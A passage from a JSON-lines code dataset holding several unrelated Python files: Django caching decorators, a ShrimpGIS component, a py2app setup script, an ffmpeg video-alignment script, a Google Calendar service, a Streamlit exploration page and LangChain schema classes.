**kwargs):\n \"\"\"Get cached content from a django view with a request object.\"\"\"\n req = args[0]\n assert isinstance(req, HttpRequest)\n keys = ['username', 'company', 'role', 'findingid', 'project']\n uniq_id = '_'.join([req.session[x] for x in keys if x in req.session])\n uniq_id += '_'.join([req.GET[x] for x in keys if x in req.GET])\n uniq_id += '_'.join([req.POST[x] for x in keys if x in req.POST])\n if len(args) > 1:\n uniq_id += '_'.join([str(x) for x in args[1:]])\n if kwargs:\n uniq_id += '_'.join([str(kwargs[x]) for x in kwargs])\n key_name = \\\n f'{func.__module__.replace(\".\", \"_\")}_{func.__qualname__}_{uniq_id}'\n try:\n ret = cache.get(key_name)\n if ret:\n return ret\n ret = func(*args, **kwargs)\n cache.set(key_name, ret, timeout=CACHE_TTL)\n return ret\n except RedisClusterException:\n rollbar.report_exc_info()\n return func(*args, **kwargs)\n return decorated\n\n\ndef get_cached(func):\n \"\"\"Get cached response from function if it exists.\"\"\"\n @functools.wraps(func)\n def decorated(*args, **kwargs):\n \"\"\"Get cached response from function if it exists.\"\"\"\n uniq_id = \"_\".join([str(kwargs[x])[:24] for x in kwargs])\n key_name = \\\n f'{func.__module__.replace(\".\", \"_\")}_{func.__qualname__}_{uniq_id}'\n key_name = key_name.lower()\n try:\n ret = cache.get(key_name)\n if ret:\n return ret\n ret = func(*args, **kwargs)\n if isinstance(ret, Promise):\n ret = ret.get()\n cache.set(key_name, ret, timeout=CACHE_TTL)\n return ret\n except RedisClusterException:\n rollbar.report_exc_info()\n return func(*args, **kwargs)\n return decorated\n\n\ndef get_entity_cache(func):\n \"\"\"Get cached response of a GraphQL entity if it exists.\"\"\"\n @functools.wraps(func)\n def decorated(*args, **kwargs):\n \"\"\"Get cached response from function if it exists.\"\"\"\n gql_ent = args[0]\n uniq_id = str(gql_ent)\n params = '_'.join([kwargs[key] for key in kwargs]) + '_'\n complement = (params if kwargs else '') + uniq_id\n key_name = \\\n f'{func.__module__.replace(\".\", \"_\")}_{func.__qualname__}_{complement}'\n key_name = key_name.lower()\n try:\n ret = cache.get(key_name)\n if ret is None:\n ret = func(*args, **kwargs)\n if isinstance(ret, Promise):\n ret = ret.get()\n cache.set(key_name, ret, timeout=CACHE_TTL)\n return ret\n except RedisClusterException:\n rollbar.report_exc_info()\n return func(*args, **kwargs)\n return decorated\n","repo_name":"tom-vanbraband-sonarsource/integrates","sub_path":"django-apps/integrates-back/backend/decorators.py","file_name":"decorators.py","file_ext":"py","file_size_in_byte":14930,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"34387280832","text":"ghenv.Component.Name = \"ShrimpGIS UTM PRJ\"\nghenv.Component.NickName = \"shrimp_utm_prj\"\nghenv.Component.Message = \"1.0.0\"\nghenv.Component.Category = \"ShrimpGIS\"\nghenv.Component.SubCategory = \"2 || Utils\"\ntry: ghenv.Component.AdditionalHelpFromDocStrings = \"1\"\nexcept: pass\n\nimport scriptcontext as sc\nimport os\nimport sys\n##################ShrimpGIS#####################\ntry:\n user_path = os.getenv(\"APPDATA\")\n sys.path.append(user_path)\n from shrimp_gis import __version__\n from shrimp_gis.io import get_epsg_from_shp_point, get_prj_text_from_EPSG\n \n ghenv.Component.Message = __version__\nexcept ImportError as e:\n raise ImportError(\"\\nFailed to import ShrimpGIS: {0}\\n\\nCheck your 'shrimp_gis' folder in {1}\".format(e, os.getenv(\"APPDATA\")))\n################################################\n\ndef main():\n \n if _shp_point:\n EPSG = get_epsg_from_shp_point(_shp_point)\n prj_text = get_prj_text_from_EPSG(EPSG)\n \n return EPSG, prj_text\n return None, None\n\nEPSG, prj_text = main()\n\n\n","repo_name":"AntonelloDN/ShrimpGIS","sub_path":"src/ShrimpGIS UTM PRJ.py","file_name":"ShrimpGIS UTM PRJ.py","file_ext":"py","file_size_in_byte":1037,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"77"} +{"seq_id":"7981186311","text":"\"\"\"\nA tool to have auto sync obsidian notes from your repo vault\n\"\"\"\nfrom setuptools import find_packages, setup\n\ndependencies = ['pyobjc',\n 'rumps']\n\nAPP = ['obsidiansync/sync.py']\nDATA_FILES = []\nOPTIONS = {\n 'argv_emulation': True,\n 'iconfile': 'assets/obsidian.png',\n 'plist': {\n 'CFBundleShortVersionString': '0.2.0',\n 'LSUIElement': True,\n },\n 'packages': ['rumps'],\n}\n\n\nsetup(\n name='obsidiansync',\n version='0.1.0',\n url='https://github.com/Vi-Sri/obsidiansync',\n license='BSD',\n author='Vishal Srinivas',\n author_email='srinivasvishal7@gmail.com',\n description='A tool to have auto sync obsidian notes from your repo vault',\n long_description=__doc__,\n packages=find_packages(exclude=['tests']),\n include_package_data=True,\n zip_safe=False,\n platforms='darwin',\n app=APP,\n data_files=DATA_FILES,\n options={'py2app': OPTIONS},\n setup_requires=['py2app'],\n install_requires=dependencies,\n classifiers=[\n 'Development Status :: 4 - Beta',\n 'Environment :: Console',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: BSD License',\n 'Operating System :: MacOS',\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 2',\n 'Programming Language :: Python :: 3',\n 'Topic :: Software Development :: Libraries :: Python Modules',\n ]\n)\n","repo_name":"Vi-Sri/Obsidian-Sync","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"6027974662","text":"import os\nimport subprocess\nimport cv2\nimport math\nimport utils\nfrom config import Config as cfg\n\nfrom gentle.gentle.transcriber import do_transcription\n\n\n@utils.traverser\n@utils.log_process\ndef do_video_alignment(**kwargs):\n source_file, file_name, kwargs = utils.extra_path(**kwargs)\n words = do_transcription(kwargs['source_path'] + source_file, kwargs['wav_path'] + file_name + '.wav',\n kwargs['transcription_and_phone_path'] + file_name + '.json')\n with open(kwargs['transcription_path'] + file_name + '.txt', 'w') as transcription_file:\n for item in words:\n if not item.word.startswith('<'):\n transcription_file.write(item.word + ' ')\n if not os.path.exists(kwargs['img_path'] + file_name):\n try:\n os.makedirs(kwargs['img_path'] + file_name)\n except FileExistsError:\n pass\n if item.word == cfg.trigger_word:\n cap = cv2.VideoCapture(kwargs['source_path'] + source_file)\n fps = cap.get(cv2.CAP_PROP_FPS)\n cap.set(cv2.CAP_PROP_POS_FRAMES, math.floor(item.start * fps))\n for i in range(math.ceil(item.end * fps) - math.floor(item.start * fps) + 1):\n success, frame = cap.read()\n if success:\n cv2.imwrite(kwargs['img_path'] + file_name + '/' + str(i) + '.jpg', frame)\n command = cfg.FFMPEG + ' -loglevel quiet -y -ss ' + str(item.start) + ' -to ' + str(\n item.end) + ' -accurate_seek -i ' + kwargs['source_path'] + source_file + ' -c copy ' + kwargs[\n 'video_path'] + file_name + '_cut.mp4'\n subprocess.call(command, shell = True)\n\n\ndef main():\n do_video_alignment(**cfg.param)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"shenmishajing/text_base_edition","sub_path":"video_alignment.py","file_name":"video_alignment.py","file_ext":"py","file_size_in_byte":1882,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"11462724236","text":"from . import util, authentication_service, cache, application\n\n\n@cache.memoize()\ndef get_events(calendar, time_max=None, time_min=None):\n \"\"\"\n Method to retrieve a list of events from the Google Calendar API.\n :param calendar: the identifier of the calendar\n :param time_max: optional start time (upper bound for event retrieval)\n :param time_min: optional end time (lower bound for event retrieval)\n :return: a list of events\n \"\"\"\n service = authentication_service.get_service()\n\n events_result = service.events().list(calendarId=calendar, orderBy='startTime', singleEvents=True, timeMin=time_min,\n timeMax=time_max).execute()\n application.logger.debug('API call - events list')\n events = events_result.get('items', [])\n\n return events\n\n\ndef get_duration(event):\n \"\"\"\n Given an event, calculate its duration\n :param event\n :return: a timedelta, such that days, hours, minutes or seconds can be derived\n \"\"\"\n end = util.convert_date(event['end'])\n start = util.convert_date(event['start'])\n return end - start\n\n\ndef calculate_days_hours_minutes(event):\n \"\"\"\n Given an event, calculate the days, hours and minutes that it lasts\n :param event\n :return: the duration in days, hours and minutes\n \"\"\"\n try:\n duration = get_duration(event)\n days = duration.days\n hours = duration.seconds // 3600\n minutes = duration.seconds // 60 % 60\n return days, hours, minutes\n except TypeError as e:\n application.logger.error(e)\n return 0, 0, 0\n\n\ndef search(cal_id, query, sort):\n \"\"\"\n Filter a list of events to find matches to a given query.\n :param cal_id: the identifier of the calendar\n :param query: either a word, phrase or the empty string\n :param sort: ascending ('earliest') or descending ('latest')\n :return: a list of events matching the query, as well as the total number of days, hours and minutes spent in all\n of those events\n \"\"\"\n events = get_events(cal_id)\n matches = []\n days = 0\n hours = 0\n minutes = 0\n for ev in events:\n if query.lower() in ev['summary'].lower():\n if 'dateTime' in ev['start'] and 'dateTime' in ev['end']:\n duration = calculate_days_hours_minutes(ev)\n days += duration[0]\n hours += duration[1]\n minutes += duration[2]\n ev = format_event(ev)\n if sort == 'earliest':\n matches.append(ev)\n elif sort == 'latest':\n matches.insert(0, ev)\n\n hours += minutes // 60\n minutes -= (minutes // 60) * 60\n days += hours // 24\n hours -= (hours // 24) * 24\n\n return matches, days, hours, minutes\n\n\ndef format_event(event):\n \"\"\"\n Convert the event object into one that can be more easily used by the template to display results\n :param event\n :return: a dict with the required attributes correctly formatted\n \"\"\"\n start = util.convert_date(event['start'])\n end = util.convert_date(event['end'])\n start_time = start.strftime(\"%H:%M\") if start.hour != 0 else None\n end_time = end.strftime(\"%H:%M\") if end.hour != 0 else None\n\n formatted = {'summary': event['summary'],\n 'location': event['location'] if 'location' in event else None,\n 'description': event['description'] if 'description' in event else None,\n 'start_day_num': start.day,\n 'start_day_text': start.strftime(\"%A\"),\n 'end_day_text': end.strftime(\"%A\") if not end_time else None,\n 'start_month': start.strftime(\"%B\"),\n 'start_time': start_time,\n 'end_time': end_time}\n\n return formatted\n","repo_name":"kingarj/CalendarInsight","sub_path":"src/services/events_service.py","file_name":"events_service.py","file_ext":"py","file_size_in_byte":3777,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"16851918546","text":"import streamlit as st\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\n#import pickle\r\nimport seaborn as sns\r\n\r\ndef show_explore_page():\r\n st.title('Data Exploration')\r\n st.subheader('Training Set')\r\n # read the saved model\r\n #mdlPath = 'f_app/mdl.pickle'\r\n dfPath = 'f_app/traincleaned.csv'\r\n df = load_data(dfPath)\r\n st.write(df)\r\n\r\n st.subheader('Explore data!')\r\n selectPlot = st.selectbox('Select the chart you want to see', ['Correlation Plot', 'Boxplot', 'Barplot'])\r\n doPlot(selectPlot,df)\r\n\r\ndef doPlot(selectPlot,df):\r\n fullVars = ['KIDSDRIV', 'AGE', 'HOMEKIDS', 'YOJ', 'INCOME', 'HOME_VAL', 'TRAVTIME',\r\n 'BLUEBOOK', 'TIF', 'OLDCLAIM', 'CLM_FREQ', 'MVR_PTS', 'CAR_AGE',\r\n 'PARENT1', 'MSTATUS', 'RED_CAR', 'REVOKED', 'GENDER',\r\n 'COMMERCIAL_CAR_USE', 'URBAN_CAR', 'BACHELORS', 'ELEMENTARY_EDUCATION',\r\n 'MASTERS', 'PHD', 'HIGH_SCHOOL', 'CLERICAL', 'DOCTOR', 'HOME_MAKER',\r\n 'LAWYER', 'MANAGER', 'PROFESSIONAL', 'STUDENT', 'BLUE_COLLAR',\r\n 'MINIVAN', 'PANEL_TRUCK', 'PICKUP', 'SPORTS_CAR', 'VAN', 'SUV']\r\n\r\n if selectPlot == 'Correlation Plot':\r\n fig1 = plt.figure(figsize=(15,10))\r\n sns.heatmap(df.corr(), annot=True, cmap='YlGnBu')\r\n elif selectPlot == 'Boxplot':\r\n var1 = 'TARGET_FLAG'\r\n var2 = st.selectbox('Select a variable', fullVars)\r\n fig1 = plt.figure(figsize=(10,8))\r\n sns.boxplot(data=df, x=var1, y=var2)\r\n elif selectPlot == 'Barplot':\r\n fig1 = plt.figure(figsize=(10,8))\r\n df['TARGET_FLAG'].value_counts().plot(kind='bar', title='Unbalanced classes')\r\n\r\n plotButton = st.button('Plot!')\r\n if plotButton:\r\n st.pyplot(fig1)\r\n\r\n@st.cache_data\r\ndef load_data(dfPath):\r\n #mdl = pickle.load(open(mdlPath, \"rb\"))\r\n df = pd.read_csv(dfPath, index_col=\"INDEX\")\r\n return df\r\n","repo_name":"pietrodileo/TimMLproject","sub_path":"f_app/explore_page.py","file_name":"explore_page.py","file_ext":"py","file_size_in_byte":1917,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"6486630310","text":"\"\"\"Common schema objects.\"\"\"\nfrom __future__ import annotations\n\nimport warnings\nfrom abc import ABC, abstractmethod\nfrom copy import deepcopy\nfrom dataclasses import dataclass\nfrom inspect import signature\nfrom typing import (\n TYPE_CHECKING,\n Any,\n Dict,\n Generic,\n List,\n NamedTuple,\n Optional,\n Sequence,\n TypeVar,\n Union,\n)\nfrom uuid import UUID\n\nfrom pydantic import BaseModel, Field, root_validator\n\nfrom langchain.load.serializable import Serializable\n\nif TYPE_CHECKING:\n from langchain.callbacks.manager import (\n AsyncCallbackManagerForRetrieverRun,\n CallbackManagerForRetrieverRun,\n Callbacks,\n )\n\nRUN_KEY = \"__run\"\n\n\ndef get_buffer_string(\n messages: Sequence[BaseMessage], human_prefix: str = \"Human\", ai_prefix: str = \"AI\"\n) -> str:\n \"\"\"Convert sequence of Messages to strings and concatenate them into one string.\n\n Args:\n messages: Messages to be converted to strings.\n human_prefix: The prefix to prepend to contents of HumanMessages.\n ai_prefix: THe prefix to prepend to contents of AIMessages.\n\n Returns:\n A single string concatenation of all input messages.\n\n Example:\n .. code-block:: python\n\n from langchain.schema import AIMessage, HumanMessage\n\n messages = [\n HumanMessage(content=\"Hi, how are you?\"),\n AIMessage(content=\"Good, how are you?\"),\n ]\n get_buffer_string(messages)\n # -> \"Human: Hi, how are you?\\nAI: Good, how are you?\"\n \"\"\"\n string_messages = []\n for m in messages:\n if isinstance(m, HumanMessage):\n role = human_prefix\n elif isinstance(m, AIMessage):\n role = ai_prefix\n elif isinstance(m, SystemMessage):\n role = \"System\"\n elif isinstance(m, FunctionMessage):\n role = \"Function\"\n elif isinstance(m, ChatMessage):\n role = m.role\n else:\n raise ValueError(f\"Got unsupported message type: {m}\")\n message = f\"{role}: {m.content}\"\n if isinstance(m, AIMessage) and \"function_call\" in m.additional_kwargs:\n message += f\"{m.additional_kwargs['function_call']}\"\n string_messages.append(message)\n\n return \"\\n\".join(string_messages)\n\n\n@dataclass\nclass AgentAction:\n \"\"\"A full description of an action for an ActionAgent to execute.\"\"\"\n\n tool: str\n \"\"\"The name of the Tool to execute.\"\"\"\n tool_input: Union[str, dict]\n \"\"\"The input to pass in to the Tool.\"\"\"\n log: str\n \"\"\"Additional information to log about the action.\"\"\"\n\n\nclass AgentFinish(NamedTuple):\n \"\"\"The final return value of an ActionAgent.\"\"\"\n\n return_values: dict\n \"\"\"Dictionary of return values.\"\"\"\n log: str\n \"\"\"Additional information to log about the return value\"\"\"\n\n\nclass Generation(Serializable):\n \"\"\"A single text generation output.\"\"\"\n\n text: str\n \"\"\"Generated text output.\"\"\"\n\n generation_info: Optional[Dict[str, Any]] = None\n \"\"\"Raw response from the provider. May include things like the \n reason for finishing or token log probabilities.\n \"\"\"\n # TODO: add log probs as separate attribute\n\n @property\n def lc_serializable(self) -> bool:\n \"\"\"Whether this class is LangChain serializable.\"\"\"\n return True\n\n\nclass BaseMessage(Serializable):\n \"\"\"The base abstract Message class.\n\n Messages are the inputs and outputs of ChatModels.\n \"\"\"\n\n content: str\n \"\"\"The string contents of the message.\"\"\"\n\n additional_kwargs: dict = Field(default_factory=dict)\n \"\"\"Any additional information.\"\"\"\n\n @property\n @abstractmethod\n def type(self) -> str:\n \"\"\"Type of the Message, used for serialization.\"\"\"\n\n @property\n def lc_serializable(self) -> bool:\n \"\"\"Whether this class is LangChain serializable.\"\"\"\n return True\n\n\nclass HumanMessage(BaseMessage):\n \"\"\"A Message from a human.\"\"\"\n\n example: bool = False\n \"\"\"Whether this Message is being passed in to the model as part of an example \n conversation.\n \"\"\"\n\n @property\n def type(self) -> str:\n \"\"\"Type of the message, used for serialization.\"\"\"\n return \"human\"\n\n\nclass AIMessage(BaseMessage):\n \"\"\"A Message from an AI.\"\"\"\n\n example: bool = False\n \"\"\"Whether this Message is being passed in to the model as part of an example \n conversation.\n \"\"\"\n\n @property\n def type(self) -> str:\n \"\"\"Type of the message, used for serialization.\"\"\"\n return \"ai\"\n\n\nclass SystemMessage(BaseMessage):\n \"\"\"A Message for priming AI behavior, usually passed in as the first of a sequence\n of input messages.\n \"\"\"\n\n @property\n def type(self) -> str:\n \"\"\"Type of the message, used for serialization.\"\"\"\n return \"system\"\n\n\nclass FunctionMessage(BaseMessage):\n \"\"\"A Message for passing the result of executing a function back to a model.\"\"\"\n\n name: str\n \"\"\"The name of the function that was executed.\"\"\"\n\n @property\n def type(self) -> str:\n \"\"\"Type of the message, used for serialization.\"\"\"\n return \"function\"\n\n\nclass ChatMessage(BaseMessage):\n \"\"\"A Message that can be assigned an arbitrary speaker (i.e. role).\"\"\"\n\n role: str\n \"\"\"The speaker / role of the Message.\"\"\"\n\n @property\n def type(self) -> str:\n \"\"\"Type of the message, used for serialization.\"\"\"\n return \"chat\"\n\n\ndef _message_to_dict(message: BaseMessage) -> dict:\n return {\"type\": message.type, \"data\": message.dict()}\n\n\ndef messages_to_dict(messages: Sequence[BaseMessage]) -> List[dict]:\n \"\"\"Convert a sequence of Messages to a list of dictionaries.\n\n Args:\n messages: Sequence of messages (as BaseMessages) to convert.\n\n Returns:\n List of messages as dicts.\n \"\"\"\n return [_message_to_dict(m) for m in messages]\n\n\ndef _message_from_dict(message: dict) -> BaseMessage:\n _type = message[\"type\"]\n if _type == \"human\":\n return HumanMessage(**message[\"data\"])\n elif _type == \"ai\":\n return AIMessage(**message[\"data\"])\n elif _type == \"system\":\n return SystemMessage(**message[\"data\"])\n elif _type == \"chat\":\n return ChatMessage(**message[\"data\"])\n else:\n raise ValueError(f\"Got unexpected type: {_type}\")\n\n\ndef messages_from_dict(messages: List[dict]) -> List[BaseMessage]:\n \"\"\"Convert a sequence of messages from dicts to Message objects.\n\n Args:\n messages: Sequence of messages (as dicts) to convert.\n\n Returns:\n List of messages (BaseMessages).\n \"\"\"\n return [_message_from_dict(m) for m in messages]\n\n\nclass ChatGeneration(Generation):\n \"\"\"A single chat generation output.\"\"\"\n\n text: str = \"\"\n \"\"\"*SHOULD NOT BE SET DIRECTLY* The text contents of the output message.\"\"\"\n message: BaseMessage\n \"\"\"The message output by the chat model.\"\"\"\n\n @root_validator\n def set_text(cls, values: Dict[str, Any]) -> Dict[str, Any]:\n \"\"\"Set the text attribute to be the contents of the message.\"\"\"\n values[\"text\"] = values[\"message\"].content\n return values\n\n\nclass RunInfo(BaseModel):\n \"\"\"Class that contains metadata for a single execution of a Chain or model.\"\"\"\n\n run_id: UUID\n \"\"\"A unique identifier for the model or chain run.\"\"\"\n\n\nclass ChatResult(BaseModel):\n \"\"\"Class that contains all results for a single chat model call.\"\"\"\n\n generations: List[ChatGeneration]\n \"\"\"List of the chat generations. This is a List because an input can have multiple \n candidate generations.\n \"\"\"\n llm_output: Optional[dict] = None\n \"\"\"For arbitrary LLM provider specific output.\"\"\"\n\n\nclass LLMResult(BaseModel):\n \"\"\"Class that contains all results for a batched LLM call.\"\"\"\n\n generations: List[List[Generation]]\n \"\"\"List of generated outputs. This is a List[List[]] because\n each input could have multiple candidate generations.\"\"\"\n llm_output: Optional[dict] = None\n \"\"\"Arbitrary LLM provider-specific output.\"\"\"\n run: Optional[List[RunInfo]] = None\n \"\"\"List of metadata info for model call for each input.\"\"\"\n\n def flatten(self) -> List[LLMResult]:\n \"\"\"Flatten generations into a single list.\n\n Unpack List[List[Generation]] -> List[LLMResult] where each returned LLMResult\n contains only a single Generation. If token usage information is available,\n it is kept only for the LLMResult corresponding to the top-choice\n Generation, to avoid over-counting of token usage downstream.\n\n Returns:\n List of LLMResults where each returned LLMResult contains a single\n Generation.\n \"\"\"\n llm_results = []\n for i, gen_list in enumerate(self.generations):\n # Avoid double counting tokens in OpenAICallback\n if i == 0:\n llm_results.append(\n LLMResult(\n generations=[gen_list],\n llm_output=self.llm_output,\n )\n )\n else:\n if self.llm_output is not None:\n llm_output = deepcopy(self.llm_output)\n llm_output[\"token_usage\"] = dict()\n else:\n llm_output = None\n llm_results.append(\n LLMResult(\n generations=[gen_list],\n llm_output=llm_output,\n )\n )\n return llm_results\n\n def __eq__(self, other: object) -> bool:\n \"\"\"Check for LLMResult equality by ignoring any metadata related to runs.\"\"\"\n if not isinstance(other, LLMResult):\n return NotImplemented\n return (\n self.generations == other.generations\n and self.llm_output == other.llm_output\n )\n\n\nclass PromptValue(Serializable, ABC):\n \"\"\"Base abstract class for inputs to any language model.\n\n PromptValues can be converted to both LLM (pure text-generation) inputs and\n ChatModel inputs.\n \"\"\"\n\n @abstractmethod\n def to_string(self) -> str:\n \"\"\"Return prompt value as string.\"\"\"\n\n @abstractmethod\n def to_messages(self) -> List[BaseMessage]:\n \"\"\"Return prompt as a list of Messages.\"\"\"\n\n\nclass BaseMemory(Serializable, ABC):\n \"\"\"Base abstract class for memory in Chains.\n\n Memory refers to state in Chains. Memory can be used to store information about\n past executions of a Chain and inject that information into the inputs of\n future executions of the Chain. For example, for conversational Chains Memory\n can be used to store conversations and automatically add them to future model\n prompts so that the model has the necessary context to respond coherently to\n the latest input.\n\n Example:\n .. code-block:: python\n\n class SimpleMemory(BaseMemory):\n memories: Dict[str, Any] = dict()\n\n @property\n def memory_variables(self) -> List[str]:\n return list(self.memories.keys())\n\n def load_memory_variables(self, inputs: Dict[str, Any]) -> Dict[str, str]:\n return self.memories\n\n def save_context(self, inputs: Dict[str, Any], outputs: Dict[str, str]) -> None:\n pass\n\n def clear(self) -> None:\n pass\n \"\"\" # noqa: E501\n\n class Config:\n \"\"\"Configuration for this pydantic object.\"\"\"\n\n arbitrary_types_allowed = True\n\n @property\n @abstractmethod\n def memory_variables(self) -> List[str]:\n \"\"\"The string keys this memory class will add to chain inputs.\"\"\"\n\n @abstractmethod\n def load_memory_variables(self, inputs: Dict[str, Any]) -> Dict[str, Any]:\n \"\"\"Return key-value pairs given the text input to the chain.\"\"\"\n\n @abstractmethod\n def save_context(self, inputs: Dict[str, Any], outputs: Dict[str, str]) -> None:\n \"\"\"Save the context of this chain run to memory.\"\"\"\n\n @abstractmethod\n def clear(self) -> None:\n \"\"\"Clear memory contents.\"\"\"\n\n\nclass BaseChatMessageHistory(ABC):\n \"\"\"Abstract base class for storing chat message history.\n\n See `ChatMessageHistory` for default implementation.\n\n Example:\n .. code-block:: python\n\n class FileChatMessageHistory(BaseChatMessageHistory):\n storage_path: str\n session_id: str\n\n @property\n def messages(self):\n with open(os.path.join(storage_path, session_id), 'r:utf-8') as f:\n messages = json.loads(f.read())\n return messages_from_dict(messages)\n\n def add_message(self, message: BaseMessage) -> None:\n messages = self.messages.append(_message_to_dict(message))\n with open(os.path.join(storage_path, session_id), 'w') as f:\n json.dump(f, messages)\n\n def clear(self):\n with open(os.path.join(storage_path, session_id), 'w') as f:\n f.write(\"[]\")\n \"\"\"\n\n messages: List[BaseMessage]\n \"\"\"A list of Messages stored in-memory.\"\"\"\n\n def add_user_message(self, message: str) -> None:\n \"\"\"Convenience method for adding a human message string to the store.\n\n Args:\n message: The string contents of a human message.\n \"\"\"\n self.add_message(HumanMessage(content=message))\n\n def add_ai_message(self, message: str) -> None:\n \"\"\"Convenience method for adding an AI message string to the store.\n\n Args:\n message: The string contents of an AI message.\n \"\"\"\n self.add_message(AIMessage(content=message))\n\n # TODO: Make this an abstractmethod.\n def add_message(self, message: BaseMessage) -> None:\n \"\"\"Add a Message object to the store.\n\n Args:\n message: A BaseMessage object to store.\n \"\"\"\n raise NotImplementedError\n\n @abstractmethod\n def clear(self) -> None:\n \"\"\"Remove all messages from the store\"\"\"\n\n\nclass Document(Serializable):\n \"\"\"Class for storing a piece of text and associated metadata.\"\"\"\n\n page_content: str\n \"\"\"String text.\"\"\"\n metadata: dict = Field(default_factory=dict)\n \"\"\"Arbitrary metadata about the page content (e.g., source, relationships to other\n documents, etc.).\n \"\"\"\n\n\nclass BaseRetriever(ABC):\n \"\"\"Abstract base class for a Document retrieval system.\n\n A retrieval system is defined as something that can take string queries and return\n the most 'relevant' Documents from some source.\n\n Example:\n .. code-block:: python\n\n class TFIDFRetriever(BaseRetriever, BaseModel):\n vectorizer: Any\n docs: List[Document]\n tfidf_array: Any\n k: int = 4\n\n class Config:\n arbitrary_types_allowed = True\n\n def get_relevant_documents(self, query: str) -> List[Document]:\n from sklearn.metrics.pairwise import cosine_similarity\n\n # Ip -- (n_docs,x), Op -- (n_docs,n_Feats)\n query_vec = self.vectorizer.transform([query])\n # Op -- (n_docs,1) -- Cosine Sim with each doc\n results = cosine_similarity(self.tfidf_array, query_vec).reshape((-1,))\n return [self.docs[i] for i in results.argsort()[-self.k :][::-1]]\n\n async def aget_relevant_documents(self, query: str) -> List[Document]:\n raise NotImplementedError\n\n \"\"\" # noqa: E501\n\n _new_arg_supported: bool = False\n _expects_other_args: bool = False\n\n def __init_subclass__(cls, **kwargs: Any) -> None:\n super().__init_subclass__(**kwargs)\n # Version upgrade for old retrievers that implemented the public\n # methods directly.\n if cls.get_relevant_documents != BaseRetriever.get_relevant_documents:\n warnings.warn(\n \"Retrievers must implement abstract `_get_relevant_documents` method\"\n \" instead of `get_relevant_documents`\",\n DeprecationWarning,\n )\n swap = cls.get_relevant_documents\n cls.get_relevant_documents = ( # type: ignore[assignment]\n BaseRetriever.get_relevant_documents\n )\n cls._get_relevant_documents = swap # type: ignore[assignment]\n if (\n hasattr(cls, \"aget_relevant_documents\")\n and cls.aget_relevant_documents != BaseRetriever.aget_relevant_documents\n ):\n warnings.warn(\n \"Retrievers must implement abstract `_aget_relevant_documents` method\"\n \" instead of `aget_relevant_documents`\",\n DeprecationWarning,\n )\n aswap = cls.aget_relevant_documents\n cls.aget_relevant_documents = ( # type: ignore[assignment]\n BaseRetriever.aget_relevant_documents\n )\n cls._aget_relevant_documents = aswap # type: ignore[assignment]\n parameters = signature(cls._get_relevant_documents).parameters\n cls._new_arg_supported = parameters.get(\"run_manager\") is not None\n # If a V1 retriever broke the interface and expects additional arguments\n cls._expects_other_args = (not cls._new_arg_supported) and len(parameters) > 2\n\n @abstractmethod\n def _get_relevant_documents(\n self, query: str, *, run_manager: CallbackManagerForRetrieverRun, **kwargs: Any\n ) -> List[Document]:\n \"\"\"Get documents relevant to a query.\n Args:\n query: String to find relevant documents for.\n run_manager: The callbacks handler to use.\n Returns:\n List of relevant documents\n \"\"\"\n\n @abstractmethod\n async def _aget_relevant_documents(\n self,\n query: str,\n *,\n run_manager: AsyncCallbackManagerForRetrieverRun,\n **kwargs: Any,\n ) -> List[Document]:\n \"\"\"Asynchronously get documents relevant to a query.\n Args:\n query: string to find relevant documents for\n run_manager: The callbacks handler to use\n Returns:\n List of relevant documents\n \"\"\"\n\n def get_relevant_documents(\n self, query: str, *, callbacks: Callbacks = None, **kwargs: Any\n ) -> List[Document]:\n \"\"\"Retrieve documents relevant to a query.\n Args:\n query: String to find relevant documents for.\n callbacks: Callback manager or list of callbacks.\n Returns:\n List of relevant documents\n \"\"\"\n from langchain.callbacks.manager import CallbackManager\n\n callback_manager = CallbackManager.configure(\n callbacks, None, verbose=kwargs.get(\"verbose\", False)\n )\n run_manager = callback_manager.on_retriever_start(\n query,\n **kwargs,\n )\n try:\n if self._new_arg_supported:\n result = self._get_relevant_documents(\n query, run_manager=run_manager, **kwargs\n )\n elif self._expects_other_args:\n result = self._get_relevant_documents(query, **kwargs)\n else:\n result = self._get_relevant_documents(query) # type: ignore[call-arg]\n except Exception as e:\n run_manager.on_retriever_error(e)\n raise e\n else:\n run_manager.on_retriever_end(\n result,\n **kwargs,\n )\n return result\n\n async def aget_relevant_documents(\n self, query: str, *, callbacks: Callbacks = None, **kwargs: Any\n ) -> List[Document]:\n \"\"\"Asynchronously get documents relevant to a query.\n Args:\n query: string to find relevant documents for\n callbacks: Callback manager or list of callbacks\n Returns:\n List of relevant documents\n \"\"\"\n from langchain.callbacks.manager import AsyncCallbackManager\n\n callback_manager = AsyncCallbackManager.configure(\n callbacks, None, verbose=kwargs.get(\"verbose\", False)\n )\n run_manager = await callback_manager.on_retriever_start(\n query,\n **kwargs,\n )\n try:\n if self._new_arg_supported:\n result = await self._aget_relevant_documents(\n query, run_manager=run_manager, **kwargs\n )\n elif self._expects_other_args:\n result = await self._aget_relevant_documents(query, **kwargs)\n else:\n result = await self._aget_relevant_documents(\n query, # type: ignore[call-arg]\n )\n except Exception as e:\n await run_manager.on_retriever_error(e)\n raise e\n else:\n await run_manager.on_retriever_end(\n result,\n **kwargs,\n )\n return result\n\n\n# For backwards compatibility\nMemory = BaseMemory\n\nT = TypeVar(\"T\")\n\n\nclass BaseLLMOutputParser(Serializable, ABC, Generic[T]):\n \"\"\"Abstract base class for parsing the outputs of a model.\"\"\"\n\n @abstractmethod\n def parse_result(self, result: List[Generation]) -> T:\n \"\"\"Parse a list of candidate model Generations into a specific format.\n\n Args:\n result: A list of Generations to be parsed. The Generations are assumed\n to be different candidate outputs for a single model input.\n\n Returns:\n Structured output.\n \"\"\"\n\n\nclass BaseOutputParser(BaseLLMOutputParser, ABC, Generic[T]):\n \"\"\"Class to parse the output of an LLM call.\n\n Output 